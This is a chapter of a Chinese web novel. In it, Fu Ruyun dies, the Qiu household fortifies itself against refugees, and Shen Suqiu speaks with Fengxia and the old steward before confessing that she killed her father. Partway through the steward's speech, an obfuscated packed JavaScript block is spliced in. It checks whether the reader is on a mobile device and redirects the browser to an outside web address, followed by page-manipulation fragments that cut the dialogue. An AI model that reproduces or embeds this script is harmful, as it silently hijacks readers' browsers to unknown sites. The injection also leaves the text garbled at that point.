她拿起那把枪，淡淡一笑，说，“要谢就谢张启明，这是他离开邱府前给我的。原本是防着饥民入府，让我留着防身，还拨了几个宪兵队的人保护我。谁曾想饥民没等到，等来了一群丧心病狂的学生，我听到婉凝在我院子外发疯的声音，就抓紧时间赶了过来，可惜还是来晚一步.......大房已经.......” 沈素秋闭上双眼，不情愿再去过多回忆。 “你放心，他很安全。”钟雪樵趴在她耳边，“他现在下不了床，来之前我已经安排人把他接到了我院里安置，没人敢再动他。” 她自以为沈素秋现在最关心的应该是周铁生，可实际上，沈素秋想的却是： 终于终于，这一次拯救自己的，是一个女人。 29.第二十九捧麦 傅如芸死于失血过多和心悸躁动，军医没到多久，便撒手人寰。 听一个管家婆子讲，她临闭眼前还呼唤着婉凝的名字，呼唤着她的宝贝女儿。她到死都倾向于死前邱婉凝捅在自己肚子上的那一刀是出于自己的臆想——邱守成失踪带给她的打击太过惨痛，使她昏了醒、醒了昏，迷迷蒙蒙间，居然荒唐到看到亲女儿捅了自己。 伴随着稍加点缀的愚昧和自我欺骗，这位晚清贵族如同那个寂灭的王朝般，弥散在历史的尘烟中。管家爷将修葺好的傅如芸的牌位放进邱氏宗祠里，邱守成的位置还空缺着，只因他还生死未卜。姑娘坡迟迟不来信，整个邱府由钟雪樵暂为带领，勉强周转。沈素秋卧床不起，凤霞亦灰心丧气，倒是那群下人反比主人家们更有斗劲儿。他们仿佛和城外那些难民有着某种不可言喻的同频的律动，越是在这样动乱不安的节骨眼，他们越是精神焕发，虎虎生风。 周铁生历经十多天的休养，如愿摆脱了那张快要被躺出凹陷的小床。那床过于短窄，使得他连腿脚都施展不开。这些天里，他都像过冬的牛犊子一样，盘成一个肉圆，冬天也快来了，他去下人房里打饭时，偶尔会听到几句守夜人事关天冷的抱怨。 为了防止难民洗劫邱府，钟雪樵亲自挑选了一支由二十名精壮家仆组成的临时护卫队（周铁生也自发加入其中)。这段时间里，她充分发挥了自己出色的领导才能和统筹能力，将邱府外.围打造得如铜墙铁壁一般。各大出入口乃至猫穴狗洞都派有日夜两班人马轮流看守，府外一圈围墙根埋上瓷蒺藜，又在灌木堆里藏满了捕兽夹。 剩下的丫鬟婆子日夜连轴地为爷们缝制纸甲——一种从唐宋时期就开始广泛运用于军事领域的简易战甲。大概连蔡伦本人都没想到，改进后的造纸术可以用来造甲。其以硬绢裱骨，再用纸筋编绑，因体轻质韧，直到晚清时期，府州官衙都保留了纸甲传统。 雪樵年轻时跟父亲赶镖走趟时，母亲便会贴心地为父女俩准备这样的战甲。 府里又从一种过去的忙碌切换到一种新的忙碌中去。而沈素秋也受到环境的鼓舞，努力在周铁生的陪伴下做着康复训练。周铁生每晚都会在巡逻结束后陪她一起用饭，沈素秋恍惚意识到，邱府开始出现一种“主仆共存”的状态，横贯在上下级之间的那条横线莫名变淡了，他俩时不时还能偷摸打个小啵，畅享一番往后的甜蜜时光。这样的充实与平静戛然停止于寒露时节。熟稔翻耙耕种的沈素秋当然明白，寒露过后，就是霜降。 真正的大雪降临。 “今年的冬天可真冷啊。” 沈素秋扯下氅子入门来，见凤霞正对着一对虎头帽发呆。她自个儿落了座，看着女人对着虎头帽长吁短叹。沈素秋不敢确定，她这是想景明景和了，还是想从前那些旧人了。 “姐姐还在为孩子伤心吗？”沈素秋用小木锤敲打着着自己那条残腿，这木锤是周铁生给她做的，上面系着个小铃铛，像是专门哄孩子用的。这是他看自己入夜后总是痛得哼唧，做出了个这小玩意，时不时拿在手里敲敲打打，能暂缓腿脚之痛。 这些天来，周铁生一直在给自己守夜。他就睡门外的柴房里，当然不排除偶尔进房上床找某人温故知新的可能。沈素秋的气色看着比凤霞好很多，她自从被缝嘴后，好像真的被缝上了嘴，从前多热辣活泼的一个人，变得比雪樵还不爱说话，沈素秋看一回心疼一回。 “姐姐还是要保重身体。”沈素秋不大会安慰人，“不光为了景明景和，也是为了你自己。” “什么叫为了我自己？”凤霞放下一颗棋子，眸色更暗了。 “来之前我去看过婉凝，她还是那样，疯疯癫癫的，已经认不出什么了。”沈素秋握住凤霞的手说，“咱们女人活到最后，不就是为自个儿活一口气吗？什么丈夫爱人子女亲人，都只是尘世的一抹羁绊。有缘自会相连，无缘便说再见。姐姐和景明景和是这样，婉凝和如芸也是这样，我只是想告诉姐姐，千万别变成第二个婉凝。” “我明白你的意思，”凤霞报之一笑，“你也是苦过的人，好在苦尽甘来。” “什么苦尽甘来，”沈素秋神色悻悻，“这就算甘吗？那看来从前还是太苦了，苦得多了，一点点甜就满意得不得了，可我还远远不知足。” “知足常乐，”凤霞不禁感慨，“常乐才能感知到更多的甜。” “我就说二姐通透练达，”沈素秋不经意地笑了笑，“希望这话不光我能记住，姐姐自己也能记住。” 竹园雾霭飘飘。 沈素秋从凤霞那儿出来后，又去池塘边坐了坐。最近府中上下全员戒备，对于花草之事疏于打理，又经霜打风吹，秋寒浸润，池塘四周已有几分肃杀景象。有苍鹭单脚立在池心一块凸起的灰岩上，羽毛在风里微微翻卷，仿佛无处可依。 她学凤霞的模样，唉了口气。安慰别人把自己给安慰得有些抑郁，沈素秋越想越觉得好笑，好笑得又没那么抑郁了。 起身时遇到管家爷路过。 “给六太太请安。” 如今府中一干仆人里，只有他和毛五这些老人还保留着给太太们请安行礼的规矩。沈素秋说过很多次，年纪大了，可以免去这些繁文缛节，可管家爷自己的原话说，跪了一辈子，跪习惯了，不跪反而不舒服，弯腰低头已成了和喝水吃饭一样，自然流露的一部分。已经不受自个儿控制了。 “管家爷这是要去哪？”沈素秋看着他还穿着入夏时的单衣，将自己身上的大氅脱下来，披到他身上。 “太太不可啊.......这会坏了规矩.......” 老管家明显被女人突如其来的关怀吓到了，他还以为做错了什么事，“扑通”一声跪下，磕头求饶。 “太太贴身用的东西，怎么可以拿给我用？何况您是主子，我是奴才，这是有违祖宗家法啊！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309030|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “邱守成都没了，还谈什么家法？”沈素秋看着他瑟瑟发抖的模样，不像是装的，心里更难过了。 “就算不谈家法，谈私情，太太也不用对我如此厚待......” 管家说着说着哭了起来。 “虽然太太自己不计较，可这些年来，我还在为害死你达的事难过自责。我只是一个听人差遣的管家，遵照财东的意思，去田上收租。老爷说，只要能收到租子，管他威逼利诱、烧杀抢夺，有人敢不听话，就放心大胆地杀。可我从来没有杀过人，更没想过害人，我自个儿从没想过真要你阿达的命，只是想给他一点颜色瞧瞧。谁想底下人下手太重，你达活活被莜麦噎死.......我........你........” 言之深处，老人不禁泪满衣襟。说得沈素秋也有些鼻头发红。 “过去的事都过去了，”沈素秋说，“我虽不敢说对你毫无怨言，可也是无计可施了。与其说是原谅，不如说是算了。原谅是放下，算了是妥协。我只是在向过去妥协，我不会怪你的。” “太太.......” 老管家泪眼相望，怔愣许久，又拜了三拜，这是他这个木头脑瓜里，所能想到的对于一个人的最高的礼节。 见完管家后沈素秋便不大安乐。心里总闷闷的压着一股气，其实从见完凤霞后就开始了，只是与管家爷的一叙，更让她加剧了这种说不出的难受。周铁生天黑时送了饭来，他看着也一副无精打采的样子，两人气氛比天气更冷清。 吃饭时他才告诉沈素秋，毛五走了。中午他陪毛五午觉时听他说，想吃罐罐馍，周铁生说，最近下人都给配湘西米、大肉包，谁还吃那烂玩意？毛五说，就是想吃嘛，小年岁里，他娘每当他得了割麦状元后，就会奖励他一个罐罐馍。 周铁生不敢多问，拔腿去隔壁灶上给他揉面发面、推箱打火。等他费尽周折、满头大汗地拿着蒸好的馍飞奔回马房时，毛五尸体都冷了。他倚在一匹死马身上，面色铁青，马死了，人也死了。一根折断的芦苇横在他怀里。 他自去他的小年岁里，寻他想吃的罐罐馍。 “你别嫌它们不好吃，这都是我一个个亲手做的，毛五想吃都吃不到。” 周铁生大口大口地塞着馍，眼泪水哗哗哗地流，流进馍里，反成为了一种苦料，中和了发面的回甘，吃起来有种新奇的口感。 “我只是想我爹了。” 沈素秋张嘴咬在馍上，不比周铁生，这次她没有哭。 “下午我遇着了管家爷，他跟我哭诉，当年指使你害死我爹的事。他让你往我爹嘴里塞粮食，你把他塞死了。其实错了，我爹不是被你们弄死的，这些年来，我一直没把真相告诉你。” “啊？” 周铁生霎时呆住。 “是我害死的他，”沈素秋放下了馍，眼里出奇地平和，“是我亲手杀了我爹。”